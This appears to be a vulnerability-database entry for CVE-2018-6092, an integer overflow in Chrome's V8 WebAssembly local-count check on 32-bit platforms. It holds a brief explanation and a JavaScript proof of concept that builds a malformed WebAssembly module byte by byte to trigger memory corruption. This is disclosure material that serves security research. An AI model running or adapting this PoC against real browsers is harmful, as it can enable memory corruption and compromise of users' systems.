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Google Chrome - Integer Overflow when Processing WebAssembly Locals Exploit

🗓️ 09 Jun 2018 00:00:00Reported by Google Security ResearchType 
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Google Chrome - Integer Overflow in WebAssembly Local

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FreeBSD
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10 Apr 201700:00
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CVE-2018-6092
8 Jun 201800:00
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Google Chrome Local Integer Overflow Vulnerability
3 Jul 201800:00
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Check Point Advisories
Google Chrome Integer Overflow Memory Corruption (CVE-2018-6092)
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CVE-2018-6092
4 Dec 201817:00
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CVE-2018-6092
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[SECURITY] [DSA 4182-1] chromium-browser security update
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[SECURITY] [DSA 4182-1] chromium-browser security update
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CVE-2018-6092
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30 Apr 201800:00
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/*
When v8 decodes the locals of a function, it performs a check:
 
if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
        decoder->error(decoder->pc() - 1, "local count too large");
        return false;
      }
 
On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.
 
A PoC is attached. 
*/
 
var b2 = new Uint8Array( 171);
b2[0] = 0x0;
b2[1] = 0x61;
b2[2] = 0x73;
b2[3] = 0x6d;
b2[4] = 0x1;
b2[5] = 0x0;
b2[6] = 0x0;
b2[7] = 0x0;
b2[8] = 0x1;
b2[9] = 0xe;
b2[10] = 0x3;
b2[11] = 0x60;
b2[12] = 0x1;
b2[13] = 0x7f;
b2[14] = 0x0;
b2[15] = 0x60;
b2[16] = 0x0;
b2[17] = 0x0;
b2[18] = 0x60;
b2[19] = 0x2;
b2[20] = 0x7f;
b2[21] = 0x7f;
b2[22] = 0x1;
b2[23] = 0x7f;
b2[24] = 0x2;
b2[25] = 0x23;
b2[26] = 0x2;
b2[27] = 0x2;
b2[28] = 0x6a;
b2[29] = 0x73;
b2[30] = 0x3;
b2[31] = 0x6d;
b2[32] = 0x65;
b2[33] = 0x6d;
b2[34] = 0x2;
b2[35] = 0x0;
b2[36] = 0x1;
b2[37] = 0x7;
b2[38] = 0x69;
b2[39] = 0x6d;
b2[40] = 0x70;
b2[41] = 0x6f;
b2[42] = 0x72;
b2[43] = 0x74;
b2[44] = 0x73;
b2[45] = 0xd;
b2[46] = 0x69;
b2[47] = 0x6d;
b2[48] = 0x70;
b2[49] = 0x6f;
b2[50] = 0x72;
b2[51] = 0x74;
b2[52] = 0x65;
b2[53] = 0x64;
b2[54] = 0x5f;
b2[55] = 0x66;
b2[56] = 0x75;
b2[57] = 0x6e;
b2[58] = 0x63;
b2[59] = 0x0;
b2[60] = 0x0;
b2[61] = 0x3;
b2[62] = 0x3;
b2[63] = 0x2;
b2[64] = 0x1;
b2[65] = 0x2;
b2[66] = 0x7;
b2[67] = 0x1e;
b2[68] = 0x2;
b2[69] = 0xd;
b2[70] = 0x65;
b2[71] = 0x78;
b2[72] = 0x70;
b2[73] = 0x6f;
b2[74] = 0x72;
b2[75] = 0x74;
b2[76] = 0x65;
b2[77] = 0x64;
b2[78] = 0x5f;
b2[79] = 0x66;
b2[80] = 0x75;
b2[81] = 0x6e;
b2[82] = 0x63;
b2[83] = 0x0;
b2[84] = 0x1;
b2[85] = 0xa;
b2[86] = 0x61;
b2[87] = 0x63;
b2[88] = 0x63;
b2[89] = 0x75;
b2[90] = 0x6d;
b2[91] = 0x75;
b2[92] = 0x6c;
b2[93] = 0x61;
b2[94] = 0x74;
b2[95] = 0x65;
b2[96] = 0x0;
b2[97] = 0x2;
b2[98] = 0xa;
b2[99] = 0x47;
b2[100] = 0x2;
b2[101] = 0x6;
b2[102] = 0x0;
b2[103] = 0x41;
b2[104] = 0x2a;
b2[105] = 0x10;
b2[106] = 0x0;
b2[107] = 0xb;
b2[108] = 0x3e;
b2[109] = 0x1;
b2[110] = 0xff;
b2[111] = 0xff;
b2[112] = 0xff;
b2[113] = 0xff;
b2[114] = 0x0f;
b2[115] = 0x7f;
b2[116] = 0x20;
b2[117] = 0x0;
b2[118] = 0x20;
b2[119] = 0x1;
b2[120] = 0x41;
b2[121] = 0x4;
b2[122] = 0x6c;
b2[123] = 0x6a;
b2[124] = 0x21;
b2[125] = 0x2;
b2[126] = 0x2;
b2[127] = 0x40;
b2[128] = 0x3;
b2[129] = 0x40;
b2[130] = 0x20;
b2[131] = 0x0;
b2[132] = 0x20;
b2[133] = 0x2;
b2[134] = 0x46;
b2[135] = 0xd;
b2[136] = 0x1;
b2[137] = 0x41;
b2[138] = 0x2a;
b2[139] = 0x10;
b2[140] = 0x0;
b2[141] = 0x20;
b2[142] = 0x3;
b2[143] = 0x41;
b2[144] = 0xc4;
b2[145] = 0x0;
b2[146] = 0x20;
b2[147] = 0x0;
b2[148] = 0x36;
b2[149] = 0x2;
b2[150] = 0x0;
b2[151] = 0x41;
b2[152] = 0xc4;
b2[153] = 0x0;
b2[154] = 0x6a;
b2[155] = 0x21;
b2[156] = 0x3;
b2[157] = 0x20;
b2[158] = 0x0;
b2[159] = 0x41;
b2[160] = 0x4;
b2[161] = 0x6a;
b2[162] = 0x21;
b2[163] = 0x0;
b2[164] = 0xc;
b2[165] = 0x0;
b2[166] = 0xb;
b2[167] = 0xb;
b2[168] = 0x20;
b2[169] = 0x3;
b2[170] = 0xb;
 
function f(){print("in f");}
var memory = new WebAssembly.Memory({initial:1, maximum:1});
var mod = new WebAssembly.Module(b2);
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
i.exports.accumulate.call(0, 5);

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09 Jun 2018 00:00Current
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